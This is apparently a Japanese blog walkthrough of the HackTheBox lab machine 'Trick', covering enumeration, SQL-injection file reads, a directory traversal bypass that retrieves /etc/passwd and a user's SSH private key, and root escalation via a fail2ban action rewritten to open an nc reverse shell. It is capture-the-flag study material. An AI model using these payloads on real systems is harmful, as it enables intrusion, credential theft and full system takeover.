🔥

HackTheBox Trick

2022/09/21に公開

Trick

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.166 -oN nmap.log
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-21 17:35 JST
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    syn-ack ttl 63 Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme

22、25、53、80番ポートを確認

web


特に情報はなさそう

dig

53番が空いているので実行してみる

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ dig trick.htb @10.10.11.166 axfr

; <<>> DiG 9.16.15-Debian <<>> trick.htb @10.10.11.166 axfr
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 212 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)
;; WHEN: Wed Sep 21 17:55:07 JST 2022
;; XFR size: 6 records (messages 1, bytes 231)

root.trick.htb と preprod-payroll.trick.htb を発見

preprod-payroll.trick.htb

root.trick.htb は通常の表示と変わらなかったため、こちらもアクセスしてみる

ログイン画面が表示されたが、特に追加の情報は見つからない

wfuzz

他のサブドメインが存在しないか調べてみる

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: preprod-FUZZ.trick.htb" -u 10.10.11.166 -t 100 --hl 83 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.166/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                        
=====================================================================
000000254:   200        178 L    631 W      9660 Ch     "marketing"

marketing が見つかった

marketing


新たな Web ページを発見した

page

しばらく探索したが、何も見つからない。Burp Suite を確認するとあることに気付いた

# services.html に対するリクエスト
GET /index.php?page=services.html HTTP/1.1
# about.html に対するリクエスト
GET /index.php?page=about.html HTTP/1.1
# contact.html に対するリクエスト
GET /index.php?page=contact.html HTTP/1.1

GET リクエストに対するレスポンスを、page の値で判断していると予想

sqlmap

ログイン画面も利用し、index.php の取得を目指す

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ sqlmap --url "preprod-payroll.trick.htb/ajax.php?action=login" --data "username=test&password=test" --file-read "/var/www/market/index.php" --batch --time-sec 10
        ___
       __H__                                                                                                                    
 ___ ___["]_____ ___ ___  {1.5.7#stable}                                                                                        
|_ -| . [(]     | .'| . |                                                                                                       
|___|_  [)]_|_|_|__,|  _|                                                                                                       
      |_|V...       |_|   http://sqlmap.org
============================================================================
[*] /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php (size differs from remote file)
============================================================================

取得できた

index.php

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php                      
<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
   include("/var/www/market/home.html");
}
else{
        include("/var/www/market/".str_replace("..?

予想通り、page でレスポンスを変えていることが、カンマ(..)をリプレイスしている
ディレクトリトラバーサルへの対策だとわかる

DirectoryTraversal

チートシートを参考に、リプレイスをバイパスしていく
参考チートシート -> https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory Traversal/README.md

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ curl "preprod-marketing.trick.htb/index.php?page=..././..././..././etc/passwd"                       
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

バイパスに成功し、passwd ファイルの出力に成功(一部省略)
michael ユーザの存在も確認できたので、鍵を取得できないか試す

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ curl "preprod-marketing.trick.htb/index.php?page=..././..././..././home/michael/.ssh/id_rsa" > michael_rsa

中身を確認

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ cat michael_rsa                                                                                           
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

鍵の取得に成功

michael

SSH

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ ssh -i michael_rsa michael@10.10.11.166
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ whoami
michael

侵入成功

user フラグ

michael@trick:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

権限昇格

sudo

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

fail2ban が NOPASSWD であることがわかる

fail2ban

調べてみると、fail2ban とは不正アクセスからサーバを守るツールであることがわかった
また、いくつかの設定ファイルを持つことを確認したので、調べてみる

michael@trick:/etc/fail2ban$ ls -l
total 60
drwxrwx--- 2 root security  4096 Sep 21 13:12 action.d
-rw-r--r-- 1 root root      2334 Sep 21 13:12 fail2ban.conf
drwxr-xr-x 2 root root      4096 Sep 21 13:12 fail2ban.d
drwxr-xr-x 3 root root      4096 Sep 21 13:12 filter.d
-rw-r--r-- 1 root root     22908 Sep 21 13:12 jail.conf
drwxr-xr-x 2 root root      4096 Sep 21 13:12 jail.d
-rw-r--r-- 1 root root       645 Sep 21 13:12 paths-arch.conf
-rw-r--r-- 1 root root      2827 Sep 21 13:12 paths-common.conf
-rw-r--r-- 1 root root       573 Sep 21 13:12 paths-debian.conf
-rw-r--r-- 1 root root       738 Sep 21 13:12 paths-opensuse.conf

action.d に対して、security グループが書き込み可能であることがわかった
action.d はアクセス違反が発生した時の動作を決定するようだ

michael@trick:/etc/fail2ban$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

michael は security グループに所属している

jail.conf

fail2ban の動作について詳しく知るために、ファイルを参照する

[sshd]
enabled = true

ssh が有効なサービスであることがわかる

# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5

上記の記述から、6回認証に失敗することで、ロックがかかることがわかる

#
# ACTIONS
#

# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
banaction_allports = iptables-allports

実際のアクションでは、iptables-multiport が使用されるらしい

michael@trick:/etc/fail2ban/action.d$ ls -l
total 280
-rw-r--r-- 1 root root  1420 Sep 21 13:39 iptables-multiport.conf
-rw-r--r-- 1 root root  2082 Sep 21 13:39 iptables-multiport-log.conf

iptables-multiport は書き込み可能である action.d の中に存在している

iptables-multiport

action.d が書き込み可能であるため、mv コマンドによる上書きが可能

michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf ./

編集のため、ホームディレクトリにコピー

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = /usr/bin/nc 10.10.14.12 5555 -e /usr/bin/bash

actionban を上記のように変更し、シェルの取得を目指す

michael@trick:~$ mv iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
mv: replace '/etc/fail2ban/action.d/iptables-multiport.conf', overriding mode 0644 (rw-r--r--)? y

mv で上書きする

michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

最後に、設定ファイルを変更したので、sudo fail2ban restart を実行する

root としてのシェル

hydra

SSH でアクセスに失敗する必要があるので、hydra を使用する

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ hydra 10.10.11.166 ssh -l root -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-21 20:40:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 6163 login tries (l:1/p:6163), ~386 tries per task
[DATA] attacking ssh://10.10.11.166:22/

しばらくすると

┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.166] 58894
whoami
root

権限昇格成功

root フラグ

root@trick:/root# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

所感

今回のボックスは、サブドメインである、market を発見するのにかなり時間を使ってしまった。しかし、fail2ban に関しては初見のサービスでもうまく攻略できたのでよかったと思う。総括して楽しいボックスだった。

Discussion